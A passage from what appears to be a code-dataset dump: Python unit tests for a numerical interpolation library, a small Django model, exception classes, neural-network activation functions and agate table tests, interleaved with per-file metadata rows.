7.00000000e+00 1.36137594e-02\n' )
def test_integrate( self ):
self.assertEqual( self.pXY1.integrate(), 3.5 )
self.assertEqual( self.pXY1.integrate(2,4), 3.0 )
self.assertEqual( self.pXY2.integrate(), 3.0 )
self.assertEqual( self.pXY3.integrate(1.0,2.0), 1.5 )
self.assertEqual( self.pXY4.integrate(), 8.75 )
def test_indefiniteIntegral( self ):
self.assertEqual( self.pXY1.indefiniteIntegral().toString() , ' 1.00000000e+00 0.00000000e+00\n 3.00000000e+00 2.00000000e+00\n 4.00000000e+00 3.50000000e+00\n' )
def test_mutualify( self ):
axes_ = axes.defaultAxes( 2, 'lin','lin' )
axes_[0].label = 'energy_in'
axes_[0].unit ='MeV'
axes_[1].label = 'uncertainty'
axes_[1].unit = 'MeV'
a = XYs.XYs( axes_, list( zip( [0,1,2,3], [1,2,3,4] ) ), 0.001 )
b = XYs.XYs( axes_, list( zip( [0.5,1.5,3.5], [1,2,3] ) ), 0.001 )
self.assertEqual( a.copyDataToXYs(), [[0.0, 1.0], [1.0, 2.0], [2.0, 3.0], [3.0, 4.0]] )
self.assertEqual( b.copyDataToXYs(), [[0.5, 1.0], [1.5, 2.0], [3.5, 3.0]] )
a, b = a.mutualify( 1e-8, 1e-8, False, b, 1e-8, 1e-8, False )
self.assertEqual( a.copyDataToXYs(), [[0.0, 1.0], [1.0, 2.0], [2.0, 3.0], [2.99999997, 3.99999997], [3.0, 1.9999999850000003], [3.00000003, 0.0]] )
self.assertEqual( b.copyDataToXYs(), [[0.5, 0.0], [0.500000005, 1.000000005], [1.5, 2.0], [3.5, 3.0]] )
self.assertEqual( ( a * b ).copyDataToXYs(), [[0.0, 0.0], [0.5, 0.0], [0.500000005, 1.5000000125], [0.5458556319526012, 1.6167418188632756], [0.595349486446133, 1.7474652406808733], [0.648926398714355, 1.894495069019915], [0.7071067846209812, 2.0606601817884944], [0.7705034128004505, 2.2494306283378176], [0.8398428423558016, 2.4651002633899743], [0.9159931228479682, 2.713033085376725], [1.0, 3.0], [1.1025994718473635, 3.3696248030891303], [1.2182458365518543, 3.811491673103708], [1.2817594993015167, 4.06554666300195], [1.3495784432855429, 4.345729639509344], [1.42215333199236, 4.6557500976855115], [1.5, 5.0], [1.6114581797470449, 5.368450547094159], [1.7312785769460357, 5.778400265151707], [1.8604214751588872, 6.236321614144236], [2.0, 6.75], [2.2070259373659487, 7.547777134493432], [2.439257393078178, 8.493688752730085], [2.7015298522432905, 9.626809012706588], [2.845791873803546, 10.279401473659355], [2.99999997, 10.9999998575], [3.0, 5.499999958750001], [3.00000003, 0.0], [3.5, 0.0]] )
def test_changeInterpolation( self ):
axes_a = axes.defaultAxes( 2, 'lin','flat' )
axes_a[0].label = 'energy_in'
axes_a[0].unit ='MeV'
axes_a[1].label = 'uncertainty'
axes_a[1].unit = 'MeV'
axes_b = axes.defaultAxes( 2, 'lin','lin' )
axes_b[0].label = 'energy_in'
axes_b[0].unit ='MeV'
axes_b[1].label = 'uncertainty'
axes_b[1].unit = 'MeV'
a = XYs.XYs( axes_a, list( zip( [0,1,2,3], [1,2,3,4] ) ), 0.001 ) # what should accuracy be set to?
b = XYs.XYs( axes_b, list( zip( [0.5,1.5,3.5], [1,2,4] ) ), 0.001 ) # what should accuracy be set to?
a = a.changeInterpolation('lin','lin',None,1e-8,1e-8)
self.assertEqual( a.copyDataToXYs(), [[0.0, 1.0], [0.99999999, 1.0], [1.00000001, 2.0], [1.99999998, 2.0], [2.00000002, 3.0], [2.9999999699999997, 3.0], [3.0, 4.0]] )
a, b = a.mutualify( 1e-8, 1e-8, False, b, 1e-8, 1e-8, False )
self.assertEqual( a.copyDataToXYs(), [[0.0, 1.0], [0.99999999, 1.0], [1.00000001, 2.0], [1.99999998, 2.0], [2.00000002, 3.0], [2.9999999699999997, 3.0], [3.0, 1.4999999888977698], [3.00000003, 0.0]] )
self.assertEqual( ( a * b ).copyDataToXYs(), [[0.0, 0.0], [0.5, 0.0], [0.500000005, 1.000000005], [0.99999999, 1.4999999899999998], [1.00000001, 3.00000002], [1.5, 4.0], [1.99999998, 4.99999996], [2.00000002, 7.50000006], [2.9999999699999997, 10.49999991], [3.0, 5.249999961142194], [3.00000003, 0.0], [3.5, 0.0]] )
def test_group( self ):
result = self.pXY4.group( [ 1e-6, 2e-6, 3e-6, 4e-6, 5e-5 ], 'MeV' )
#Sresult.plot()
#self.pXY4.plot()
self.assertEqual( result.axes[0].unit, 'MeV' )
self.assertEqual( result[2], [3e-06, 2.625] )
def test_createFromFunc_exp( self ):
"""
Make an XYs from exp(-x), then run some tests ::
* test 20 values of the interpolation table vs. real thing
* integral of function from 1e-5 -- 20 ( approximately infinity ;)
"""
def myExp(x,*args): return math.exp(-x)
xmin=1e-5
xmax=20.0
nx=20
axes_ = axes.axes( dimension = 2 )
axes_[0] = axes.axis( 'energy_in', 0, 'eV', interpolation = axes.interpolationXY( axes.linearToken, axes.linearToken ) )
axes_[1] = axes.axis( 'junk', 1, 'b' )
approxExp = XYs.XYs.createFromFunction( \
axes_, \
Xs=[xmin, xmax],\
func=myExp, \
parameters=[], \
accuracy=1e-8, \
biSectionMax=20, \
checkForRoots = False, \
infill = 1, \
safeDivide = 1 )
for ix in range(nx):
x = xmin+(xmax-xmin)*ix/nx
self.assertAlmostEqual(myExp(x), approxExp.getValue(x))
self.assertAlmostEqual(approxExp.integrate(xmin,xmax),myExp(xmin)-myExp(xmax))
def test_createFromFunc_sine( self ):
"""
Make an XYs from sin(x), then run some tests ::
* test 20 values of the interpolation table vs. real thing
* integral of function from pi -- 2pi, I should get -2
"""
def mySine(x,*args): return math.sin(x)
xmin=1e-5
xmax=20.0
nx=20
axes_ = axes.axes( dimension = 2 )
axes_[0] = axes.axis( 'energy_in', 0, 'eV', interpolation = axes.interpolationXY( axes.linearToken, axes.linearToken ) )
axes_[1] = axes.axis( 'junk', 1, 'b' )
approxSine = XYs.XYs.createFromFunction( \
axes_, \
Xs=[xmin, xmax],\
func=mySine, \
parameters=[], \
accuracy=1e-8, \
biSectionMax=20, \
checkForRoots = False, \
infill = 1, \
safeDivide = 1 )
for ix in range(nx):
x = xmin+(xmax-xmin)*ix/nx
self.assertAlmostEqual(mySine(x), approxSine.getValue(x))
self.assertAlmostEqual(approxSine.integrate(math.pi,2.0*math.pi),-2.0)
def test_createFromFunc_lorentzian( self ):
"""
Make an XYs from a Lorentzian ::
L(x) = 1.0/( (x-10)^2+1 )
then run some tests ::
* test 20 values of the interpolation table vs. real thing
* integral of function from 1e-5 -- 20. This gets the left tail and 1/2 the right one.
Sage says the answer is approximately arctan(10)+1.47112757529
"""
def myLorentzian(x,*args): return 1.0/((x-10.0)*(x-10.0)+1.0)
xmin=1e-5
xmax=20.0
nx=20
axes_ = axes.axes( dimension = 2 )
axes_[0] = axes.axis( 'energy_in', 0, 'eV', interpolation = axes.interpolationXY( axes.linearToken, axes.linearToken ) )
axes_[1] = axes.axis( 'junk', 1, 'b' )
approxLorentz = XYs.XYs.createFromFunction( \
axes_, \
Xs=[xmin, xmax],\
func=myLorentzian, \
parameters=[], \
accuracy=1e-8, \
biSectionMax=20, \
checkForRoots = False, \
infill = 1, \
safeDivide = 1 )
for ix in range(nx):
x = xmin+(xmax-xmin)*ix/nx
self.assertAlmostEqual(myLorentzian(x), approxLorentz.getValue(x))
self.assertAlmostEqual(approxLorentz.integrate(xmin,xmax),math.atan(10.0) + 1.47112757529)
# @unittest.skip('appears broken, have to check')
def test_createFromFunc_one_over_E_smallRange( self ):
"""
Make an XYs from 1/x, then run some tests ::
* test 20 values of the interpolation table vs. real thing
* integral of function from 0.5 -- 20 (0.5 is the "Cadmium cutoff" & 20 is a round number),
I should get ln(20)-ln(0.5).
"""
def myOneOverE(x, *args): return 1.0/x
xmin=1e-5
xmax=0.001
nx=20
axes_ = axes.axes( dimension = 2 )
axes_[0] = axes.axis( 'energy_in', 0, 'eV', interpolation = axes.interpolationXY( axes.linearToken, axes.linearToken ) )
axes_[1] = axes.axis( 'junk', 1, 'b' )
approxOneOverE = XYs.XYs.createFromFunction( \
axes_, \
Xs=[xmin, xmax],\
func=myOneOverE, \
parameters=[], \
accuracy=1e-8, \
biSectionMax=400, \
checkForRoots = False, \
infill = 1, \
safeDivide = 1 )
for ix in range(nx):
x = xmin+(xmax-xmin)*ix/nx
self.assertAlmostEqual(myOneOverE(x), approxOneOverE.getValue(x))
self.assertAlmostEqual(approxOneOverE.integrate(0.5,xmax),math.log(xmax)-math.log(0.5))
self.assertAlmostEqual(approxOneOverE.integrate(xmin,xmax),math.log(xmax)-math.log(xmin))
@unittest.skip('appears broken, have to check')
def test_createFromFunc_one_over_E_hugeRange( self ):
"""
Make an XYs from 1/x, then run some tests ::
* test 20 values of the interpolation table vs. real thing
* integral of function from 0.5 -- 20e6 (0.5 is the "Cadmium cutoff" & 20e6 is 10 MeV in eV),
I should get ln(20e6)-ln(0.5).
This tests mocks up the real-world resonance integral.
"""
def myOneOverE(x, *args): return 1.0/x
xmin=1e-5
xmax=20.0e6
nx=23
axes_ = axes.axes( dimension = 2 )
axes_[0] = axes.axis( 'energy_in', 0, 'eV', interpolation = axes.interpolationXY( axes.linearToken, axes.linearToken ) )
axes_[1] = axes.axis( 'junk', 1, 'b' )
approxOneOverE = XYs.XYs.createFromFunction( \
axes_, \
Xs=[xmin, xmax],\
func=myOneOverE, \
parameters=[], \
accuracy=1e-8, \
biSectionMax=10, \
checkForRoots = False, \
infill = 1, \
safeDivide = 1 )
for ix in range(nx):
x = xmin+(xmax-xmin)*ix/nx
self.assertAlmostEqual(myOneOverE(x), approxOneOverE.getValue(x))
self.assertAlmostEqual(approxOneOverE.integrate(0.5,xmax),math.log(xmax)-math.log(0.5))
def test_integrateTwoFunctions_works(self):
"""
Make an XYs from 1/x, then integrate it two different ways using the
integrateTwoFunctions routine ::
* make a constant XYs of 1.0, using the const XYS, integrateTwoFunctions with
1/x function as the argument
* same as previous, but use the 1/x XYs and feed the constant XYs into the 1/x
Integrate from 0.5 -- 20e6 (0.5 is the "Cadmium cutoff" & 20e6 is a nice even number).
I should get ln(20e6)-ln(0.5) both times
"""
def myOneOverE(x, *args): return 1.0/x
xmin=1e-5
xmax=20.0e6
axes_ = axes.axes( dimension = 2 )
axes_[0] = axes.axis( 'energy_in', 0, 'eV', interpolation = axes.interpolationXY( axes.linearToken, axes.linearToken ) )
axes_[1] = axes.axis( 'junk', 1, 'b' )
approxOneOverE = XYs.XYs.createFromFunction( \
axes_, \
Xs=[1e-5,1e-4,1e-3,1e-2,1e-1,1.,10.,1e2,1e3,1e4,1e5,1e6,1e7,2e7],\
func=myOneOverE, \
parameters=[], \
accuracy=1e-12, \
biSectionMax=10, \
checkForRoots = False, \
infill = 1, \
safeDivide = 1 )
myConst = XYs.XYs(axes_,[[xmin,1.0],[xmax,1.0]],1e-8)
self.assertAlmostEqual( approxOneOverE.integrateTwoFunctions( myConst, xmin, xmax ), math.log(xmax)-math.log(xmin), 1 )
self.assertAlmostEqual( myConst.integrateTwoFunctions( approxOneOverE, xmin, xmax ), math.log(xmax)-math.log(xmin), 1 )
@unittest.skip('appears broken, have to check')
def test_integrateTwoFunctions_fails(self):
"""
Make an XYs from 1/x, then integrate it two different ways using the
integrateTwoFunctions routine ::
* make a constant XYs of 1.0, using the const XYS, integrateTwoFunctions with
1/x function as the argument
* same as previous, but use the 1/x XYs and feed the constant XYs into the 1/x
Integrate from 0.5 -- 20e6 (0.5 is the "Cadmium cutoff" & 20e6 is a nice even number).
I should get ln(20e6)-ln(0.5) both times
"""
def myOneOverE(x, *args): return 1.0/x
xmin=1e-5
xmax=20.0e6
axes_ = axes.axes( dimension = 2 )
axes_[0] = axes.axis( 'energy_in', 0, 'eV', interpolation = axes.interpolationXY( axes.linearToken, axes.linearToken ) )
axes_[1] = axes.axis( 'junk', 1, 'b' )
approxOneOverE = XYs.XYs.createFromFunction( \
axes_, \
Xs=[1e-5,2e7],\
func=myOneOverE, \
parameters=[], \
accuracy=1e-12, \
biSectionMax=10, \
checkForRoots = False, \
infill = 1, \
safeDivide = 1 )
myConst = XYs.XYs(axes_,[[xmin,1.0],[xmax,1.0]],1e-8)
self.assertAlmostEqual( approxOneOverE.integrateTwoFunctions( myConst, xmin, xmax ), math.log(xmax)-math.log(xmin), 1 )
self.assertAlmostEqual( myConst.integrateTwoFunctions( approxOneOverE, xmin, xmax ), math.log(xmax)-math.log(xmin), 1 )
if __name__ == '__main__':
unittest.main()
| 159.026393
| 7,946
| 0.680479
| 8,653
| 54,228
| 4.252282
| 0.204322
| 0.015165
| 0.010545
| 0.007229
| 0.317842
| 0.207909
| 0.182742
| 0.176763
| 0.16736
| 0.159071
| 0
| 0.608166
| 0.187044
| 54,228
| 340
| 7,947
| 159.494118
| 0.226472
| 0.045954
| 0
| 0.539749
| 0
| 0.066946
| 0.747962
| 0.002516
| 0
| 0
| 0
| 0
| 0.192469
| 1
| 0.104603
| false
| 0
| 0.008368
| 0.029289
| 0.117155
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
8edef4c1e2f4ee58c2fbd4681c73a4ccf1f6df31
| 242
|
py
|
Python
|
QandAProj/QandAApp/models.py
|
Olek300/QandA
|
b740ece3b7dca8e0bd3c4f62e1a4d91e44b2b868
|
[
"BSD-3-Clause"
] | null | null | null |
QandAProj/QandAApp/models.py
|
Olek300/QandA
|
b740ece3b7dca8e0bd3c4f62e1a4d91e44b2b868
|
[
"BSD-3-Clause"
] | null | null | null |
QandAProj/QandAApp/models.py
|
Olek300/QandA
|
b740ece3b7dca8e0bd3c4f62e1a4d91e44b2b868
|
[
"BSD-3-Clause"
] | null | null | null |
from django.db import models
# Create your models here.
class QandAModel(models.Model):
question = models.CharField(max_length=128, unique=True)
answer = models.CharField(max_length=128)
header = models.CharField(max_length=128)
| 30.25
| 60
| 0.760331
| 33
| 242
| 5.484848
| 0.606061
| 0.248619
| 0.298343
| 0.39779
| 0.447514
| 0
| 0
| 0
| 0
| 0
| 0
| 0.043269
| 0.140496
| 242
| 7
| 61
| 34.571429
| 0.826923
| 0.099174
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.2
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 5
|
8ee49d545dc33ac48fd961bb5fe07144acc9ff9b
| 83
|
py
|
Python
|
titrationFitter/__init__.py
|
duxfrederic/titration-fitting
|
b530585c23153aef223393ff3d47484f4a62e16c
|
[
"MIT"
] | 1
|
2021-04-03T18:16:42.000Z
|
2021-04-03T18:16:42.000Z
|
titrationFitter/__init__.py
|
duxfrederic/titration-fitting
|
b530585c23153aef223393ff3d47484f4a62e16c
|
[
"MIT"
] | null | null | null |
titrationFitter/__init__.py
|
duxfrederic/titration-fitting
|
b530585c23153aef223393ff3d47484f4a62e16c
|
[
"MIT"
] | null | null | null |
from titrationFitter.titrationFitter import Component, System, Titration, loadModel
| 83
| 83
| 0.879518
| 8
| 83
| 9.125
| 0.875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.072289
| 83
| 1
| 83
| 83
| 0.948052
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
8ee84a673e585d18c1bb6127355b886ac848f0d4
| 200
|
py
|
Python
|
source/python27/complex.py
|
zach-king/CoolPython
|
2d4d74a3d4fc276663917f673a4b8eff12a9a0d0
|
[
"MIT"
] | 3
|
2016-03-08T02:08:07.000Z
|
2016-04-09T00:58:38.000Z
|
source/python34/complex.py
|
zach-king/CoolPython
|
2d4d74a3d4fc276663917f673a4b8eff12a9a0d0
|
[
"MIT"
] | null | null | null |
source/python34/complex.py
|
zach-king/CoolPython
|
2d4d74a3d4fc276663917f673a4b8eff12a9a0d0
|
[
"MIT"
] | null | null | null |
#!/usr/bin/python3
class ComplexThing:
def __init__(self, name, data):
self.name = name
self.data = data
def __str__(self):
return self.name + ": " + str(self.data)
| 18.181818
| 48
| 0.58
| 25
| 200
| 4.32
| 0.48
| 0.222222
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.006993
| 0.285
| 200
| 10
| 49
| 20
| 0.748252
| 0.085
| 0
| 0
| 0
| 0
| 0.01105
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0
| 0.166667
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 5
|
d9135c631e9676f2cd3911d368ed33a649938284
| 1,852
|
py
|
Python
|
tests/test_tableset.py
|
wireservice/agate-stats
|
859cfbe6e9a11b175acb14d6e97e08719ec4c673
|
[
"MIT"
] | 4
|
2016-09-25T10:53:32.000Z
|
2022-01-25T00:03:09.000Z
|
tests/test_tableset.py
|
wireservice/agate-stats
|
859cfbe6e9a11b175acb14d6e97e08719ec4c673
|
[
"MIT"
] | 11
|
2016-02-21T01:39:23.000Z
|
2020-08-21T03:26:34.000Z
|
tests/test_tableset.py
|
wireservice/agate-stats
|
859cfbe6e9a11b175acb14d6e97e08719ec4c673
|
[
"MIT"
] | 4
|
2016-02-22T16:10:14.000Z
|
2017-10-09T04:06:45.000Z
|
#!/usr/bin/env python
# -*- coding: utf8 -*-
try:
import unittest2 as unittest
except ImportError:
import unittest
import agate
import agatestats
class TestTableSet(unittest.TestCase):
def setUp(self):
self.column_names = ['one', 'two', 'three']
self.column_types = [agate.Number(), agate.Number(), agate.Text()]
def test_stdev_outliers(self):
rows = [
(50, 4, 'a'),
] * 10
rows.append((200, 1, 'b'))
table1 = agate.Table(rows, self.column_names, self.column_types)
rows = [
(50, 4, 'a'),
] * 10
rows.append((400, 1, 'b'))
table2 = agate.Table(rows, self.column_names, self.column_types)
tableset = agate.TableSet([table1, table2], keys=['one', 'two'])
new_tableset = tableset.stdev_outliers('one')
self.assertEqual(len(new_tableset['one'].rows), 10)
self.assertNotIn(200, new_tableset['one'].columns['one'])
self.assertEqual(len(new_tableset['two'].rows), 10)
self.assertNotIn(400, new_tableset['two'].columns['one'])
def test_mad_outliers(self):
rows = [
(50, 4, 'a'),
] * 10
rows.append((200, 1, 'b'))
table1 = agate.Table(rows, self.column_names, self.column_types)
rows = [
(50, 4, 'a'),
] * 10
rows.append((400, 1, 'b'))
table2 = agate.Table(rows, self.column_names, self.column_types)
tableset = agate.TableSet([table1, table2], keys=['one', 'two'])
new_tableset = tableset.mad_outliers('one')
self.assertEqual(len(new_tableset['one'].rows), 10)
self.assertNotIn(200, new_tableset['one'].columns['one'])
self.assertEqual(len(new_tableset['two'].rows), 10)
self.assertNotIn(400, new_tableset['two'].columns['one'])
| 26.457143
| 74
| 0.579914
| 223
| 1,852
| 4.699552
| 0.237668
| 0.09542
| 0.071565
| 0.030534
| 0.753817
| 0.753817
| 0.753817
| 0.753817
| 0.753817
| 0.753817
| 0
| 0.047791
| 0.25432
| 1,852
| 69
| 75
| 26.84058
| 0.711079
| 0.022138
| 0
| 0.681818
| 0
| 0
| 0.040354
| 0
| 0
| 0
| 0
| 0
| 0.181818
| 1
| 0.068182
| false
| 0
| 0.113636
| 0
| 0.204545
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
d91da8060cf9968206442038a0b1f80888552538
| 43
|
py
|
Python
|
yfm/__init__.py
|
DanielGzgzz/yfMongo
|
1ac76c74e7309519d00f0c5205a3581cc6bbfffc
|
[
"Apache-2.0"
] | 20
|
2017-08-29T22:54:58.000Z
|
2022-01-19T03:50:50.000Z
|
yfm/__init__.py
|
DanielGzgzz/yfMongo
|
1ac76c74e7309519d00f0c5205a3581cc6bbfffc
|
[
"Apache-2.0"
] | 2
|
2020-05-19T14:12:59.000Z
|
2022-03-16T05:32:21.000Z
|
yfm/__init__.py
|
DanielGzgzz/yfMongo
|
1ac76c74e7309519d00f0c5205a3581cc6bbfffc
|
[
"Apache-2.0"
] | 16
|
2017-10-31T09:10:28.000Z
|
2022-03-10T19:02:09.000Z
|
from yfm.yfMongo import yfMongo as fetcher
| 21.5
| 42
| 0.837209
| 7
| 43
| 5.142857
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.139535
| 43
| 1
| 43
| 43
| 0.972973
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
d9392ebedb7a7480706f7c4aa80acbba7e398436
| 567
|
py
|
Python
|
sosi_crawler_interfaces/__init__.py
|
leonidasnascimento/sosi_crawler_interfaces_datarepository
|
d3e23acf1ce0eec7c4d559e23becc0129f8ff409
|
[
"Apache-2.0"
] | null | null | null |
sosi_crawler_interfaces/__init__.py
|
leonidasnascimento/sosi_crawler_interfaces_datarepository
|
d3e23acf1ce0eec7c4d559e23becc0129f8ff409
|
[
"Apache-2.0"
] | 1
|
2021-04-30T21:09:26.000Z
|
2021-04-30T21:09:26.000Z
|
sosi_crawler_interfaces/__init__.py
|
leonidasnascimento/sosi_crawler_interfaces_datarepository
|
d3e23acf1ce0eec7c4d559e23becc0129f8ff409
|
[
"Apache-2.0"
] | null | null | null |
from sosi_crawler_interfaces.IDataRepository import IDataRepository
from sosi_crawler_interfaces.IConfiguration import IConfiguration
from sosi_crawler_interfaces.IException import IException
from sosi_crawler_interfaces.ILogging import ILogging
from sosi_crawler_interfaces.IApiController import IApiController
from sosi_crawler_interfaces.ICrawler import ICrawler
from sosi_crawler_interfaces.IObjectFactory import IObjectFactory
from sosi_crawler_interfaces.ICrawlingResult import ICrawlingResult
from sosi_crawler_interfaces.IMessageService import IMessageService
| 63
| 67
| 0.922399
| 63
| 567
| 8.015873
| 0.222222
| 0.142574
| 0.267327
| 0.445545
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.061728
| 567
| 9
| 68
| 63
| 0.949248
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
d93b1199b454d7d0a4b504a92b266bfa5d503371
| 464
|
py
|
Python
|
attachments/exceptions.py
|
salsburj/django-dynamic-attachments
|
c7591dfe3909bedc8f28b4d40081d511fdfa95aa
|
[
"BSD-2-Clause"
] | null | null | null |
attachments/exceptions.py
|
salsburj/django-dynamic-attachments
|
c7591dfe3909bedc8f28b4d40081d511fdfa95aa
|
[
"BSD-2-Clause"
] | null | null | null |
attachments/exceptions.py
|
salsburj/django-dynamic-attachments
|
c7591dfe3909bedc8f28b4d40081d511fdfa95aa
|
[
"BSD-2-Clause"
] | null | null | null |
class VirusFoundException(Exception):
"""Exception raised for detecting a virus in a file upload"""
pass
class InvalidExtensionException(Exception):
"""Exception raised for an attachment with an invalid extension"""
pass
class InvalidFileTypeException(Exception):
"""Exception raised for an attachment of an invalid type"""
pass
class FileSizeException(Exception):
"""Exception raised for an attachment that is too large"""
pass
| 29
| 70
| 0.741379
| 53
| 464
| 6.490566
| 0.490566
| 0.209302
| 0.27907
| 0.313953
| 0.340116
| 0.340116
| 0
| 0
| 0
| 0
| 0
| 0
| 0.181034
| 464
| 15
| 71
| 30.933333
| 0.905263
| 0.480603
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.5
| 0
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 5
|
d93b1ee5f283c03e8f2308ef57e76e3594aee300
| 3,179
|
py
|
Python
|
dojo/activations.py
|
VIVelev/PyDojo
|
d932b3df841636208611192be1f881390c361289
|
[
"MIT"
] | 4
|
2018-10-29T22:01:39.000Z
|
2019-01-15T14:46:40.000Z
|
dojo/activations.py
|
VIVelev/PyDojo
|
d932b3df841636208611192be1f881390c361289
|
[
"MIT"
] | 3
|
2018-12-16T15:35:52.000Z
|
2020-03-31T01:14:53.000Z
|
dojo/activations.py
|
VIVelev/PyDojo
|
d932b3df841636208611192be1f881390c361289
|
[
"MIT"
] | null | null | null |
from abc import ABC, abstractmethod
import numpy as np
__all__ = [
"ActivationFn",
"Linear",
"Sigmoid",
"Softmax",
"TanH",
"ReLU",
"LeakyReLU",
]
class ActivationFn(ABC):
@abstractmethod
def __call__(self, x):
pass
@abstractmethod
def gradient(self, x):
pass
# ==================================================================================================== #
# ==================================================================================================== #
class Linear(ActivationFn):
"""Computing the Linear (Identity) function and its derivative.
g(x) = x
"""
def __init__(self):
pass
def __call__(self, x):
return x
def gradient(self, x):
return 1
# ==================================================================================================== #
class Sigmoid(ActivationFn):
"""Computing the Sigmoid function and its derivative.
g(x) = 1 / (1 + e^-x)
"""
def __init__(self):
pass
def __call__(self, x):
return np.vectorize(lambda k: 1.0/(1 + np.exp(-k)))(x)
def gradient(self, x):
a = self(x)
return a * (1 - a)
# ==================================================================================================== #
class Softmax(ActivationFn):
"""Computing the numerical stable Softmax function and its derivative.
g(vec) = e^vec[j] / sum(e^vec[k])
"""
def __init__(self, axis=-1):
self.axis = axis
def __call__(self, x):
exps = np.exp(x - np.max(x, axis=self.axis, keepdims=True))
return exps / np.sum(exps, axis=self.axis, keepdims=True)
def gradient(self, x):
a = self(x)
return a * (1 - a)
# ==================================================================================================== #
class TanH(ActivationFn):
"""Computing the TanH function and its derivative.
g(x) = (e^x - e^-x) / (e^x + e^-x)
"""
def __init__(self):
pass
def __call__(self, x):
return np.tanh(x)
def gradient(self, x):
return 1 - self(x)**2
# ==================================================================================================== #
class ReLU(ActivationFn):
"""Computing the ReLU function and its derivative.
g(x) = max(x, 0)
"""
def __init__(self):
pass
def __call__(self, x):
return np.vectorize(max)(0, x)
def gradient(self, x):
return (np.array(x) >= 0).astype(int)
# ==================================================================================================== #
class LeakyReLU(ActivationFn):
"""Computing the ReLU function and its derivative.
g(x) = max(x, eps*x)
"""
def __init__(self, eps=0.01):
self.eps = eps
def __call__(self, x):
return np.vectorize(max)(self.eps*x, x)
def gradient(self, x):
grad = (np.array(x) >= 0).astype(int)
grad[grad == 0] = self.eps
return grad
# ==================================================================================================== #
| 23.902256
| 104
| 0.406732
| 311
| 3,179
| 3.977492
| 0.18328
| 0.068715
| 0.088925
| 0.067906
| 0.538399
| 0.464834
| 0.354891
| 0.310428
| 0.282134
| 0.282134
| 0
| 0.007793
| 0.233092
| 3,179
| 132
| 105
| 24.083333
| 0.49959
| 0.403586
| 0
| 0.461538
| 0
| 0
| 0.027668
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.307692
| false
| 0.092308
| 0.030769
| 0.123077
| 0.630769
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
|
0
| 5
|
d94af0c3b4dcd85804dd6f3e86d9f3f09cc33eeb
| 113
|
py
|
Python
|
vega/search_space/networks/tensorflow/losses/__init__.py
|
Lzc06/vega
|
852d2f57e21caed11473ddc96397124561eacf8a
|
[
"MIT"
] | 12
|
2020-12-13T08:34:24.000Z
|
2022-03-20T15:17:17.000Z
|
